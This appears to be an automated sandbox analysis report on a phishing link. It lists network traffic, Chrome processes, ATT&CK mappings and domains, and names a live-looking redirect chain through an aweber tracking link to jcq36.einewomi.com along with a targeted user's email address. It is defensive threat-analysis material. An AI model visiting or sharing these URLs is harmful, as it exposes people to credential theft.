HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2678sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 0156a4786a5aa7esec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 21:07:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rsIKS%2BDlWE28DDWchbiKycV2qNHmjcgxpemQdnSxMuoAMZ1rnUQsQJGMdZ75mqSxaQl2qcAGyLFB1y114CorgepeUfg8hVFAEH9vVY2q7qK3NGSLyiSzTIMbpFLvgg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: HITAge: 10879Server: cloudflareCF-RAY: 8799106b9cab7d4e-LAX
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 21:07:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RBpGCdAHewQBXoHE1Hiv4NGkZKOAWsP%2F00gNUVboQJKP%2FfvZGFnDVbSiqRwnQbJjS3gO1Q7GXjtLk8pzFkKK6p7CLbS83MDgATmu2uSX4icrPx%2FlEJ%2BmWCiAlAeI1g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 879910e84e122aab-LAX
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 21:08:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vk%2FT8FlTuqCi9ofiSn3N0820oVQlakDPBOhK3kx1nmaD262SXmb8eCAQC1YT6Tr%2F3liMLgqZ%2F78HTM4OP%2B%2BcwOZHXK4%2FVzyMbm6LdsXYQC3PaOwpPLrqJeDSUrQW7A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 87991110cc0c2f15-LAX

Source: chromecache_91.2.dr	String found in binary or memory: http://www.webtoolkit.info/
Source: chromecache_98.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_98.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_98.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_98.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_98.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_91.2.dr	String found in binary or memory: https://jcq36.einewomi.com/3lwz8fh/#M
Source: chromecache_98.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_98.2.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_98.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_98.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_98.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_98.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_98.2.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_98.2.dr, chromecache_106.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_98.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.
Source: chromecache_106.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.win@21/81@28/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2384,i,13496683094245167062,5294417639727405623,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2384,i,13496683094245167062,5294417639727405623,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=	0%	Avira URL Cloud	safe
https://clicks.aweber.com/y/ct/?l=irQzWw&m=hE2OWd5T.UYPuTr&b=hqint4ojZ0QPjD7.f4mxDg#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://recaptcha.net	0%	URL Reputation	safe
https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.	0%	URL Reputation	safe
https://jcq36.einewomi.com/ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/opQ1VLLxlmCyN0H1bJZA12Sf5aAzBd7njDwdYX50uvvGCU6B7h61ClQhaEkS3imef240	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/3lwz8fh/#M	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/favicon.ico	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/3lwz8fh/?IMbnanderson@presidio.com	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/56amDdS8Xlyi23UibOV0yuuv60	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/34U7ffLhOWdVCsyO1MklEh7jAJLCHRKI089103	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/ajs3vQkF6me832n2I0kJAyFST9MVlOeyQ4NMkb1NFQ6YwIlSyQtGtSL6YGv0t	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/klnKXIDTw6njKjUToXUWnIfQmP23S5BdZkCuZ9bmo56EPKEf8G6ddzcLmhpUXmMDwx219	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/23GDvvg9apn90HB2XHHcK3Svw70	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/wxvmmr0dvvMRPJAsjsIlZCtz2ev3opgvXt8OR3buSD34130	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket	0%	Avira URL Cloud	safe
https://acmeauto.in/wp	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/xycKEKEFEwwCncpq6Ycd30	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/qrLs7Dn8lp4Gow0sl0LIw3toGAEsOGXef8pFFrJ39Ftha1Mn4N45137	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/ef8nL56d8pZlD34Xb3O9fQ6A4DEUrkl97	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/uve2MfajydXQgpw6QNYt2YCKmeylMRnRO1pnOJW67Vr4A1GFFdFd4qCsqWQNd7ULnGol1RNAD28kYNgh253	0%	Avira URL Cloud	safe
https://acmeauto.in/wp/	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/56ghqiC6i6EZZmmqxyr895G6720	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/yzOjGmJZRfp6MuDr3pmkD5LZxwLbSd0sUt315UrsOHo8W9f7PGnesPXgKkUab175	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/89dBaTGaMI14cdC3GglM670jDab80	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/ghdwLwhtUo6JsNMGaykPpPmURTIsJDWlY9ZJvklNhTvmC6ukVYDmzvSTvxthORbvG7OuyBvef210	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/ijnd9WI2swr3KhCMK2bXk7NO7Iop5ndR6Sx7dTSErq3S0c1Qe36iT8Iyz228	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/3lwz8fh/	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/dxYuNfPDDu8evm7k5QtzW8BRxjPpdbn	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/rspdG2mv8NZTvRyzmcBZuv40	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/mn2tvkDL0be18LjQsWGZKqwE0CYAeDAtybmuvh00UnDQUQO7h4eUGNnD90145	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/rsa4mS61xGUn0buMs3WF6CuvpI65UD2BYSQqVDOb9wWKBf92Edef200	0%	Avira URL Cloud	safe
https://jcq36.einewomi.com/yzTXN8LUzG9iFgM78Xozit0SHqr50	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jcq36.einewomi.com	172.67.137.23	true	false		unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false		unknown
a.nel.cloudflare.com	35.190.80.1	true	false		high
code.jquery.com	151.101.130.137	true	false		high
d2vgu95hoyrpkh.cloudfront.net	13.226.210.57	true	false		high
presidio.com	141.193.213.20	true	false		high
challenges.cloudflare.com	104.17.3.184	true	false		high
www.google.com	142.250.101.105	true	false		high
acmeauto.in	51.210.113.194	true	false		unknown
clicks.aweber.com	172.64.151.51	true	false		high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false		unknown
cdn.socket.io	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://jcq36.einewomi.com/56amDdS8Xlyi23UibOV0yuuv60	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e	false		high
https://jcq36.einewomi.com/klnKXIDTw6njKjUToXUWnIfQmP23S5BdZkCuZ9bmo56EPKEf8G6ddzcLmhpUXmMDwx219	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://acmeauto.in/wp/#Ym5hbmRlcnNvbkBwcmVzaWRpby5jb20=	false		unknown
https://jcq36.einewomi.com/3lwz8fh/?IMbnanderson@presidio.com	false	Avira URL Cloud: safe	unknown
https://jcq36.einewomi.com/ajs3vQkF6me832n2I0kJAyFST9MVlOeyQ4NMkb1NFQ6YwIlSyQtGtSL6YGv0t	false	Avira URL Cloud: safe	unknown
